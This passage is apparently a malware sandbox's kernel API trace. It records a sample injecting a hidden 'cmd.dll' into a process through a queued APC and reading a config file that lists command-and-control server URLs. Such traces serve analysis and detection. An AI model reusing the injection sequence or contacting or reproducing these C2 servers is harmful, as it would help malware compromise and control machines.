Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.953] IdePortDispatch () returned 0x103 [0095.954] KeWaitForMutexObject () returned 0x0 [0095.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.954] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.954] IdePortDispatch () returned 0x103 [0095.954] KeWaitForMutexObject () returned 0x0 [0095.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.954] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.954] IdePortDispatch () returned 0x103 [0095.954] KeWaitForMutexObject () returned 0x0 [0095.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.954] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.954] IdePortDispatch () returned 0x103 [0095.955] KeWaitForMutexObject () returned 0x0 [0095.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.955] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.955] IdePortDispatch () returned 0x103 [0095.955] KeWaitForMutexObject () returned 0x0 [0095.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.955] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.955] IdePortDispatch () returned 0x103 [0095.955] KeWaitForMutexObject () returned 0x0 [0095.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.956] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.956] IdePortDispatch () returned 0x103 [0095.956] KeWaitForMutexObject () returned 0x0 [0095.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.956] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.956] IdePortDispatch () returned 0x103 [0095.956] KeWaitForMutexObject () returned 0x0 [0095.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.956] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.956] IdePortDispatch () returned 0x103 [0095.957] KeWaitForMutexObject () returned 0x0 [0095.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.957] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.957] IdePortDispatch () returned 0x103 [0095.957] KeWaitForMutexObject () returned 0x0 [0095.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.957] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.957] IdePortDispatch () returned 0x103 [0095.957] KeWaitForMutexObject () returned 0x0 [0095.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.958] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.958] IdePortDispatch () returned 0x103 [0095.958] KeWaitForMutexObject () returned 0x0 [0095.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.958] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.958] IdePortDispatch () returned 0x103 [0095.958] KeWaitForMutexObject () returned 0x0 [0095.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.958] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.958] IdePortDispatch () returned 0x103 [0095.958] KeWaitForMutexObject () returned 0x0 [0095.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.959] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.959] IdePortDispatch () returned 0x103 [0095.959] KeWaitForMutexObject () returned 0x0 [0095.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.959] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.959] IdePortDispatch () returned 0x103 [0095.959] KeWaitForMutexObject () returned 0x0 [0095.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.959] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.959] IdePortDispatch () returned 0x103 [0095.959] KeWaitForMutexObject () returned 0x0 [0095.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.960] KeLeaveCriticalRegion () [0095.960] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.960] RtlImageNtHeader (BaseAddress=0x10000) returned 0x100f8 [0095.960] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x2f2ec [0095.960] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f0, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x30000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0095.960] _snprintf (in: _Dest=0x30010, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd.dll") returned 47 [0095.960] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800376bb90 [0095.960] PsWrapApcWow64Thread (in: ApcContext=0xfffff88002f9dad8*=0x30000, ApcRoutine=0xfffff88002f9d9d8*=0x30114 | out: ApcContext=0xfffff88002f9dad8*=0x30000, ApcRoutine=0xfffff88002f9d9d8*=0xfffffffffff3fbb0) returned 0x0 [0095.960] KeInitializeApc (Apc=0xfffffa800376bb90, Thread=0xfffffa800389f2f0, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0xfffffffffff3fbb0, Mode=0xfffff88000000001, Context=0x30000) [0095.960] KeInsertQueueApc (Apc=0xfffffa800376bb90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0095.960] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7efa0000) returned 0x0 [0095.960] ZwClose (Handle=0x24) returned 0x0 [0095.960] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.960] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0095.960] KeEnterCriticalRegion () [0095.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.960] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0095.960] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80038a9df0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0095.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.960] KeLeaveCriticalRegion () [0095.960] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.960] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0095.960] PsGetProcessImageFileName () returned 0xfffffa800389ee10 [0095.960] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0095.960] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0095.960] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.961] KeEnterCriticalRegion () [0095.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.961] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0095.961] IdePortDispatch () returned 0x103 [0095.961] KeWaitForMutexObject () returned 0x0 [0095.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0095.961] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0095.961] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0095.961] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0095.961] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0095.961] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800381f160 [0095.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.961] KeLeaveCriticalRegion () [0095.961] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.961] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0095.961] NtLockFile (in: FileHandle=0xffffffff800004f8, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0095.961] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.961] KeEnterCriticalRegion () [0095.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.961] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800389fd60, Context=0x0) returned 0x0 [0095.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.961] KeLeaveCriticalRegion () [0095.961] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0095.961] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.961] KeEnterCriticalRegion () [0095.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.961] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0095.961] IdePortDispatch () returned 0x103 [0095.961] KeWaitForMutexObject () returned 0x0 [0095.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0095.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.962] KeLeaveCriticalRegion () [0095.962] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.962] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0015a67a0 [0095.962] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0095.962] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0095.962] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="PING.EXE=") returned 9 [0095.962] _strlwr (in: _Str="PING.EXE=" | out: _Str="ping.exe=") returned="ping.exe=" [0095.962] ZwReadFile (in: FileHandle=0xffffffff800004f8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015a67a0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015a67a0*) returned 0x0 [0095.962] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.962] KeEnterCriticalRegion () [0095.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d27a0 [0095.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003607090 [0095.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0095.962] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0095.962] IdePortDispatch () returned 0x103 [0095.962] KeWaitForMutexObject () returned 0x0 [0095.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0095.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003607090 [0095.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0095.962] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0095.962] IdePortDispatch () returned 0x103 [0095.962] KeWaitForMutexObject () returned 0x0 [0095.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.963] KeLeaveCriticalRegion () [0095.963] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.963] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0095.963] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="ping.exe=") returned 0x0 [0095.963] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0095.963] ExFreePoolWithTag (P=0xfffff8a0015a67a0, Tag=0x0) [0095.963] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.963] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.963] KeEnterCriticalRegion () [0095.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.963] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0095.963] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038a6e60, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0095.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.963] KeLeaveCriticalRegion () [0095.963] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.963] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.963] KeEnterCriticalRegion () [0095.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.963] ExFreePoolWithTag (P=0xfffffa800381f160, Tag=0x0) [0095.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.963] KeLeaveCriticalRegion () [0095.963] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.963] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0095.963] KeSetEvent (in: Event=0xfffffa80038a13e0, Increment=0x0, Wait=0 | out: Event=0xfffffa80038a13e0) returned 0 [0096.021] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x514, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004f0) returned 0x0 [0096.021] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0096.021] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0096.021] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.021] KeEnterCriticalRegion () [0096.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.021] KeInitializeEvent (in: 